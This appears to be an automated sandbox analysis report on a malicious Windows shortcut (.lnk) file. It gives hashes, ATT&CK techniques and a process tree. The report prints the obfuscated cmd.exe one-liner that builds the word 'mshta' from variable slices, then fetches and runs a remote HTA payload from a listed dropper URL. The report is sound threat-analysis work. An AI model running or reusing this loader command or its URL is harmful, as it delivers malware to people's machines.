b7be528b9ac4175deac2e692a59175cb6d4634d574d7704ec79948d66b293e94

Analysis

max time kernel
40s
max time network
41s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 17:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DOC-9RO303.lnk
Size 2KB
Sample260803-vtbyfacg42
SHA256 b7be528b9ac4175deac2e692a59175cb6d4634d574d7704ec79948d66b293e94
MD5 215182ca2c9a0f0ff5e391d8c2e42e88
SHA1 18ca43f1a9b837a276a672d86785e930f66a0011
SHA512 d9ff8616d7001e3848d2c34bc3318393a9570faf2ed30e8f181372615eecb03c9dc0583843e5f62f12558ae41f5a0f6c86b2855df64ae57e27cfcbed1166c452
TLSH
T1894167902AEA01D8F2FBDF33EEFE6790497BB5516D60CA4E0840854C1822B05E57BB27
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4172	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4172 wrote to memory of 4760	4172	cmd.exe	89
PID 4760 wrote to memory of 2912	4760	cmd.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-9RO303.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4172
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D/v:on/c"set KSa=wemf&&set HGQgO=v6s24&&set aAn=hjlhtab&set DFEo=csds0p&&set GyFGU=jo5tarao&&set TvL=ytt1v&set qlTgd=nettiwbplxnet&set IC=dbgqdqwnydsedxtkftxsdbg&set lg=cfgfdarywjspscfg&set RX=bakhoqyyelolkxgpepbak&set AsYS=dbgkdzicfkvspxhldbg&set ZemDc=syslorhdkuzfsmcxasys&&set gX=https@:@//m@a-@p@dffill@er.@l@at/h/es@t@[email protected]@hp?r=@39@1@469FB@5D8@2@DB&&start /b !KSa:~2,1!!HGQgO:~2,1!!aAn:~3,3! !gX:@=!"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4760
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:2912

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads